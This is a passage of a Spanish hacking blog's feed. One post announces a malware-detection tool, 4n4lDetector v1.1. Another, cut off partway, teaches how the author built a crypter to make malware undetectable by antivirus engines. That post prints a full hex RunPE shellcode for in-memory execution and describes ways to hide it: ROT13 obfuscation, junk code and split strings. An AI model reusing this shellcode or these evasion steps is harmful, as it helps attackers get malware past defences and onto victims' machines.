<div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com11tag:blogger.com,1999:blog-2707641124274171597.post-63073147512814431612015-06-14T18:09:00.000+02:002015-06-14T18:09:13.186+02:004n4lDetector v1.1<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><i>¡Joder qué tiempo de
mierda hace ahí afuera!</i> Ha llegado ese momento incómodo en el que todo
el mundo, se vuelve en tu contra. Si te metes en la cama y te arropas, pasas
calor. Si asomas un pie por el extremo de la sábana, corres el riesgo de perder
el meñique por congelación. Si se te ocurre salir en pantalón largo, hasta los
gayumbos se fusionan con los cachetes de tu pompis, y esto junto a la
transpiración de tus pelotas se convierten en enemigo público número uno. <i>¡Porqué te la empieza a sudar todo!</i>
Y si por el contrario decides pasarte a los pantalones cortos... date por
jodido porque algo malo tiene que pasarte, tú hazme caso… <i>¡Qué esto
es un sin vivir! </i><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-family: Courier New, Courier, monospace;"><br /></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">La verdad es que no me apetece escribir el post pffffffff jajajaa… preferiría estar tirado al solecito <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinbLvWp8I3ZN4FLmO7eDit7NdAuxWdcfQqXjiD6cSy12Q8IgdK7IBcPi963ADjeHHlXu1i-xBVdq2OYXGmA2ZANeRMWIu41AhRszbqVYhxxW9Dv6kuvh8V1NWKxgFthCKINEqt8YEdRF0_/s1600/relax.jpg">en mi terraza chupando del polo flash</a>,
pero como alternativas después de un fin de semana tan movidito solo me quedaba
publicar algo o entrar en <i>putalocura</i>,
y no sé qué estará ocurriendo, pero últimamente no la actualizan con buen
contenido, pues eso… que estoy perdiendo el interés.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Así que me he dicho… voy a regalarles a los chavales y
especialmente a las chavalas, la nueva versión de mi software 4n4lDetector.
Bromas a un lado, le he dedicado bastantes horas para que sea aún más potente
que la anterior versión, y si os digo que estoy muy contento con los resultados
que esta herramienta me está dando, no os engaño. Además no tengo que venderos
nada, porque todo conmigo siempre es gratis.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><b>¿Qué cosas nuevas trae esta versión de 4n4lDetector?<o:p></o:p></b></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Si recuerdan <a href="http://www.enelpc.com/2015/05/antivirus-ko-4n4lcrypter-y-evasion-de.html">mi anterior entrada</a> en la que desarrollé un <i>Crypter</i> para hacer malware indetectable.
Este utilizaba un <i>stub</i> llamado <i>enelpc.exe</i>, que tras utilizarlo con <b>4n4lCrypter</b>, el archivo resultante <i>Crypt.exe </i>transportaría finalmente el
malware cifrado. Este sería el resultado al arrastrar ambos ejecutables a la
herramienta.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjroP9eKHQEhQDKnlX5lia5j_vlWgl5GfuiaTQqMgEs87TrmQ6EYWQri-vc5BD5_lU4hjt9FbOQAVn4l0Z5nQvoifIWK82rScpv7EGIh7d7ML3BB3e_pe9v_fJiDVH89byusmNdWVCdGUO_/s1600/4n4lCrypter.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="354" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjroP9eKHQEhQDKnlX5lia5j_vlWgl5GfuiaTQqMgEs87TrmQ6EYWQri-vc5BD5_lU4hjt9FbOQAVn4l0Z5nQvoifIWK82rScpv7EGIh7d7ML3BB3e_pe9v_fJiDVH89byusmNdWVCdGUO_/s640/4n4lCrypter.png" width="640" /></a></span></div>
<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">He incluido como ven una rutina de detección de <i>Droppers</i>, que funcionará sobre aplicaciones de tipo <i>Binder</i>, <i>Joiner</i> y <i>Crypters</i> que se basan en <i>stubs</i>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Siguiendo con los <i>Crypters</i>,
una de las publicaciones de <i>indetectables.net</i>
realizada por el usuario <i>MaggicianCOr</i>,
se trataba de otro modificado por él mismo. Decidí descárgalo y usarlo para
echarle un vistazo al binario cifrado, sirviendo de buen ejemplo para mostrar
el resto de información que nos brinda <b>4n4lDetector</b>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Esta nueva versión estudia la posible abundancia de
caracteres extraños, normalmente generados de forma aleatoria por el malware,
para incluir un añadido de polimorfismo a las descripciones de los binarios
generados. La siguiente imagen muestra una detección de polimorfismo, seguida
de la cantidad de código <i>Dropper</i>, y
la anomalía tras el <i>Entry Point</i> de encontrar un salto condicional <i>JPO</i>, el cual
delata la modificación del ejecutable compilado en Visual Basic 6.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDrGTyYGxdXwAiQ4UdwYsvXWzcr9xajTLHWEDWfs05nLSklGi8EB_TiJD3NC2GKwyiDC9UeA48My2OkeGUk-hupgvdRGXWV4FbXo5HomDiYKrKfWoH8JBUJiRuLSTisOQm6eLkVkeFTzJc/s1600/MaggicianCOr.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="470" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDrGTyYGxdXwAiQ4UdwYsvXWzcr9xajTLHWEDWfs05nLSklGi8EB_TiJD3NC2GKwyiDC9UeA48My2OkeGUk-hupgvdRGXWV4FbXo5HomDiYKrKfWoH8JBUJiRuLSTisOQm6eLkVkeFTzJc/s640/MaggicianCOr.png" width="640" /></a></span></div>
<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Si recuerdan la entrada en la que cifrábamos un malware a
mano, se incluyeron unos algoritmos de rotación, sumas, restas e instrucciones
<i>XOR </i>tras el <i>Entry Point</i> del troyano <b>Poison Ivy</b>. Algo que también llamará la
atención de <i>4n4lDetector </i>ya que estudia los primeros 25 <i>Bytes </i>del punto de
partida de todas las aplicaciones.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj05rvCDJAPgysHcudx5Mb1pAf3fgNe04RdpCXGPm2QCqUXwJq3CrAZNcYJrBnShENQqy6_4kEHjw0YSSRgIWT0VCZMhwfnexzSA86JndeQWMhFkilj8tbPU94hpo_tvLCNRZ30ym2BZbRD/s1600/cifrado.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="470" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj05rvCDJAPgysHcudx5Mb1pAf3fgNe04RdpCXGPm2QCqUXwJq3CrAZNcYJrBnShENQqy6_4kEHjw0YSSRgIWT0VCZMhwfnexzSA86JndeQWMhFkilj8tbPU94hpo_tvLCNRZ30ym2BZbRD/s640/cifrado.png" width="640" /></a></span></div>
<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Algo que no podía faltar en el módulo de ejecución, sería la
posibilidad de cargar librerías. Con lo que esta nueva versión cuenta con un
nuevo ejecutable añadido de apenas <i>2,7 KB</i>, para poder estudiar sus <i>Memory
Dumps</i>.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisEKpLmh4X_PSMQJGt37iBWp8AsfJoA0u6lm56SSZQGK_cQ18fHC4mJ1wwHeSX2_nHW6aHFu5dZkYdpCfLmKr-uzaXPRpEXri3KHx90JRO1wK2vL7fREDV53JpqM31LouU0Gb7XVurBEuO/s1600/loaddll.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="472" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisEKpLmh4X_PSMQJGt37iBWp8AsfJoA0u6lm56SSZQGK_cQ18fHC4mJ1wwHeSX2_nHW6aHFu5dZkYdpCfLmKr-uzaXPRpEXri3KHx90JRO1wK2vL7fREDV53JpqM31LouU0Gb7XVurBEuO/s640/loaddll.png" width="640" /></a></span></div>
<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Los algoritmos encargados de la búsqueda de nombres ejecutables también
han sido mejorados, con lo que ahora tendremos en este apartado una información
más amplia y mejor obtenida.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitsInBzzgqmaJBYzJM2FxXIFZqFNHT-RrCCdKlSbVOBIUcL-fpDUCqdupDjWaO92HfXbc6VjxSnNJqmxT-cNrbZzq_SVfpFR5kQ_ao5n8rYTSuU7jTQGi49zbAeKwUa1SmfcwHIVVadia9/s1600/FileAccess.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="470" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitsInBzzgqmaJBYzJM2FxXIFZqFNHT-RrCCdKlSbVOBIUcL-fpDUCqdupDjWaO92HfXbc6VjxSnNJqmxT-cNrbZzq_SVfpFR5kQ_ao5n8rYTSuU7jTQGi49zbAeKwUa1SmfcwHIVVadia9/s640/FileAccess.png" width="640" /></a></span></div>
<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Algún usuario me pidió que se guardasen en un LOG las
extracciones, así que preparé una función por consola para la herramienta, en
la que si se le pasa como parámetro sin comillas de ningún tipo, el nombre del
ejecutable a analizar, esta genera un TXT en la raíz de <i>4n4lDetector </i>con el
nombre de la aplicación analizada.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgW4eA1CR27LTq4oYobyP_kZ4dIUfLkEZXFQ_mv4gbP-OSik5aGWXXusVQUADPB_aS_Npw4VpUwNR1l9_yp-sw7K2a8A6lxQG3xglo3p93g9xYJ42UlAVj19La8MzY-e9KaarUli2oEb8Wc/s1600/consola.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="632" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgW4eA1CR27LTq4oYobyP_kZ4dIUfLkEZXFQ_mv4gbP-OSik5aGWXXusVQUADPB_aS_Npw4VpUwNR1l9_yp-sw7K2a8A6lxQG3xglo3p93g9xYJ42UlAVj19La8MzY-e9KaarUli2oEb8Wc/s640/consola.png" width="640" /></a></span></div>
<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Algo que creo recordar nunca había nombrado en el blog, son
los métodos <b>Call API By Name</b> o <b>Call API By Hash</b>. Estos métodos son utilizados
para invocar a las API sin declararlas como tal. Mediante algoritmos se calcula
el hash como nombre con el que hacer referencia a un API o se suelen llamar a
las funciones cargando directamente las librerías con <i>LoadLibrary </i>y copiando de
su memoria las instrucciones. El malware puede utilizar estas técnicas para
esconder del análisis estático, cuales son las funciones que realmente utilizará,
con lo que me pareció una buena idea incorporar la detección de estos métodos.
La siguiente imagen muestra un simple <i>Downloader</i>,
camuflando el API <i>UrlDownloadToFile</i>.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiweflPKNh0_K-YRNBbMO9iDlWUTIg9VTbeGkaKll90E6DS-zGkwKJe_2Eq0nAy1QFKLweoNGhzA3xm8FqRuUkh3JcFtYmv7-LrRgI2556S8duMS1-g9QoaSWSg6wPU4uS6XyrZaMkXrxwG/s1600/callapibyname.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="470" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiweflPKNh0_K-YRNBbMO9iDlWUTIg9VTbeGkaKll90E6DS-zGkwKJe_2Eq0nAy1QFKLweoNGhzA3xm8FqRuUkh3JcFtYmv7-LrRgI2556S8duMS1-g9QoaSWSg6wPU4uS6XyrZaMkXrxwG/s640/callapibyname.png" width="640" /></a></span></div>
<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Qué raro se me hace desarrollar métodos de evasión
antivirus y malware como hobby y a su vez combatirlos también como hobby jajaja<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://docs.google.com/uc?id=0B74kMAGqImI9a0NrYjdiNnMyc00"><span style="font-size: x-large;"><b>Descarga
4n4lDetector v1.1</b></span></a><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Saludos 4n4les! ;)</span><o:p></o:p></div>
<div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com4tag:blogger.com,1999:blog-2707641124274171597.post-64742659827727555862015-05-23T16:15:00.002+02:002022-06-30T16:23:32.743+02:00Antivirus K.O. 4n4lCrypter y evasión de antivirus desde código fuente<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Pues va a ser que debo de estar
jodidamente loco, teníais razón. No conozco a nadie salvo a mí mismo, que
escribiendo un artículo medianamente técnico o serio como podría darse el caso
de ser este, se levante a bailar durante un buen rato al ritmo de <b><a href="https://www.youtube.com/watch?v=py5lONtuw2A">Juan Luis Guerra</a></b>
perdiendo completamente el hilo. Y os lo digo con conocimiento de causa, ya que
sé exactamente qué es lo que hacéis en vuestra casa… <i>¡os veo por la webcam!</i> ;)<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Diréis… <i>¡bueno!</i> estás loco, pero es “normal”, ya que estás solo en tu casa
y no tienes por qué avergonzarte <i>jajajaja
¡no!</i> Esto me pasa a menudo y en cualquier lugar, no exactamente me pongo a
dar brincos de alegría, <i>¿o sí?</i>, pero
siempre tengo una cancioncilla sonando en mi mente o algo gracioso que a veces
no solo me hace partirme de risa solo, sino que involuntariamente también ayuda
a evadirme. <o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Siempre criticaron mi forma de
ver la vida, demasiado cercana a <i>los
mundos de Yupi</i>, la cruel realidad no me daña y es eso o vivir una vida precaria…
ejem… (osea de mierda). Como la que tiene una gran mayoría de mortales que me
rodean y a su vez critican, sin ilusión o con algún problema psicológico no
cuanto menos ilógico, el cual desconozco el porqué de tener que darle
importancia alguna. Negatividad y falta de optimismo, ciegan incluso su visión
de futuro más cercano. A veces se hace tan difícil combatir contra este tipo de
personas lúgubres y taciturnas, que salir a la calle y pintarle una sonrisa a
la vida se convierte en un auténtico reto. <i>¿De
qué cojones iba la entrada de hoy? ¡Ah sí!</i><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><i><br /></i></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Los asiduos a leer mi blog, se
habrán dado cuenta de que me lo paso piruleta haciendo reversing al malware,
con el objetivo de hacerlos indetectables a los motores antivirus. En este caso
no dejaremos a OllyDbg de lado, pero sí le restaremos importancia, ya que
explicaré métodos evasivos desde el código fuente de un “crypter” desarrollado
en mi habitual Visual Basic 6, al que he llamado… <b>4n4lCrypter</b>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Uno de los métodos más comunes
para llevar a cabo la creación de un <i>crypter</i>,
se trata de incluir un módulo <b>RunPE</b>
que consiga ejecutar un binario “on the fly”, algo así como sin la necesidad de
tocar el disco, ya que este pasa a ejecutarse directamente en memoria. Para
lograr esto, existen varios módulos públicos. Nosotros en este caso
utilizaremos una conocida <i>ShellCode</i>
desarrollada por <b>hamavb</b>, la cual
dejo a continuación por si alguno decide utilizarla en cualquier otro lenguaje
de sus proyectos.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="color: red; line-height: 115%;"><span style="font-family: Times, Times New Roman, serif; font-size: xx-small;">60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F0300006A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F40000008B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E84F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000</span><span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="color: red; line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Sin duda existen millones de
binarios repartidos por el mundo utilizando esta misma <i>ShellCode</i> <i>¿Cómo puede ser que
los antivirus no la detecten?</i> Sencillamente porque es imposible realizar el
análisis en memoria de todos los binarios de un ordenador, por cuestiones de
rendimiento. No obstante, si esta <i>ShellCode</i>
se incluye como “string” en el binario en disco, las compañías antivirus
tendrán mucho más sencilla su detección… lo que haremos en este caso es
modificar el aspecto de la <i>ShellCode</i>.
En primer lugar podemos utilizar alguna herramienta <i>ShellcodeToExe</i> para echarle un vistazo a las instrucciones,
pudiendo incluir o modificar las rutinas como ya hicimos en anteriores entradas
de <b>Antivirus K.O.</b>. El foro de <i><a href="http://www.indetectables.net/index.php?m=sh2exe"><b>Indetectables.net</b></a></i>
tiene una herramienta muy cómoda para realizar esta tarea, así que pegaremos la
ristra y descargaremos el binario.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgruQa8H0MVtGaiZOarj-rdTldpaMIHVN2Vep0ddYq7GsiMdxDFg9sVe-UKZ_OwQrUESc16zSD357WUr0uiiQIeKoYTecmlRyZAR2X-jXdRHRh0IJWd41eC0gQpf6g7v6v_PUnjTevfpZrv/s1600/OllyShellcode1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgruQa8H0MVtGaiZOarj-rdTldpaMIHVN2Vep0ddYq7GsiMdxDFg9sVe-UKZ_OwQrUESc16zSD357WUr0uiiQIeKoYTecmlRyZAR2X-jXdRHRh0IJWd41eC0gQpf6g7v6v_PUnjTevfpZrv/s400/OllyShellcode1.png" width="330" /></a></div>
<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Tras arrastrar a </span><b style="font-family: 'Courier New', Courier, monospace;">OllyDbg</b><span style="font-family: 'Courier New', Courier, monospace;"> el ejecutable generado, a ojo
de buen cubero en la dirección de memoria </span><i style="font-family: 'Courier New', Courier, monospace;">401020</i><span style="font-family: 'Courier New', Courier, monospace;">
vemos el </span><i style="font-family: 'Courier New', Courier, monospace;">PUSHAD</i><span style="font-family: 'Courier New', Courier, monospace;"> que inicia el código
de nuestra </span><i style="font-family: 'Courier New', Courier, monospace;">ShellCode</i><span style="font-family: 'Courier New', Courier, monospace;">.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgz-3VrViB2U2aeJnQ6pH0cpW8xWAi1gjp1wyOI7I5zL_G15U7mK8cJpWfQdrsXZzUq1vEQL8MAM_aS_QhN-QnuAz6Fsx-nKgDgdgTBtxa44kA5SHHSHOl8ioT_gIkw9Qy5WsdMDchmntZ2/s1600/OllyShellcode2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="402" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgz-3VrViB2U2aeJnQ6pH0cpW8xWAi1gjp1wyOI7I5zL_G15U7mK8cJpWfQdrsXZzUq1vEQL8MAM_aS_QhN-QnuAz6Fsx-nKgDgdgTBtxa44kA5SHHSHOl8ioT_gIkw9Qy5WsdMDchmntZ2/s640/OllyShellcode2.png" width="640" /></a></div>
<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Podremos aplicar los métodos
aprendidos en el blog, para generar una nueva ristra a la que llevarnos a
nuestro </span><i style="font-family: 'Courier New', Courier, monospace;">crypter</i><span style="font-family: 'Courier New', Courier, monospace;">.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Actualmente en una gran cantidad
de foros sobre hacking, se incluyen publicaciones sobre diferentes modificaciones
de esta <i>ShellCode</i>, normalmente sobre
las “strings” del proyecto. Algo más sencillo de variar utilizando algoritmos
de cifrado u otros métodos como concatenación de caracteres, con el equivalente
número de la tabla ASCII entre las más comunes. La forma de llamarla sería
mediante <b>ASM en línea</b>, con lo que
evitando las limitaciones en <i>Visual Basic
6</i> sobre los tamaños de las cadenas declaradas en el código fuente, reservaríamos
una “string” dividida en siete trozos de la siguiente manera.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6DSKlE15JUNXZy9eS6OUqiCJI4oHFweDVVI_qMrHjrdjtcLPssVJxTyYRaHTVjT1JMTpmPFg54Em19AQKidnDNy1yT8Rv07her_An50f2IShLEdYIFfhyFY_abV482TNrP2J3YGZv9h-y/s1600/ASMLINEA.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="436" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6DSKlE15JUNXZy9eS6OUqiCJI4oHFweDVVI_qMrHjrdjtcLPssVJxTyYRaHTVjT1JMTpmPFg54Em19AQKidnDNy1yT8Rv07her_An50f2IShLEdYIFfhyFY_abV482TNrP2J3YGZv9h-y/s640/ASMLINEA.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">De igual manera que en el resto
de métodos evasivos a bajo nivel, en este deberíamos de camuflar el objetivo
principal de la aplicación, utilizando código basura para jugar al despiste con
los motores antivirus. La inserción de este código basura puede realizarse de
forma manual, incluyendo auténticas funciones o más bien lo contrario, utilizando
un proyecto de otra aplicación para incluir nuestro código malicioso. Por otro
lado existen aplicaciones llamadas “RunPE Generator”, las cuales generan
módulos <b>RunPE</b> con variables,
funciones y API con nombres aleatorios. En el caso de <b>4n4lCrypter</b>, decidí utilizar una mezcla de varios métodos. Por un
lado la herramienta <b>Abronsius Code
Obfuscator</b>, con la que incrusté el algoritmo <b>ROT13</b> para ofuscar las “strings” de la <i>ShellCode</i> agregando el algoritmo al proyecto.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEocl5h9aR1X7GDsmgrsTRLa5RTf4J1QyEu0DZkAlDDbss_F5lqYnitBPcTcb0ykjCs4_xsmC4f80tekaorCcje9DuAK4N-XnrEL00uetHNv1-Ng6fsJ45EdWk4X7MMWqZb6bk8ZlP4R7C/s1600/Abronsius+Code+Obfuscator+v0.4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="464" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEocl5h9aR1X7GDsmgrsTRLa5RTf4J1QyEu0DZkAlDDbss_F5lqYnitBPcTcb0ykjCs4_xsmC4f80tekaorCcje9DuAK4N-XnrEL00uetHNv1-Ng6fsJ45EdWk4X7MMWqZb6bk8ZlP4R7C/s640/Abronsius+Code+Obfuscator+v0.4.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Decidí que sería un buen código
para el <i>stub</i> de mi <i>crypter</i>, la herramienta de cortado que
utilizo en <b>4n4lDetector v1.0</b>, así
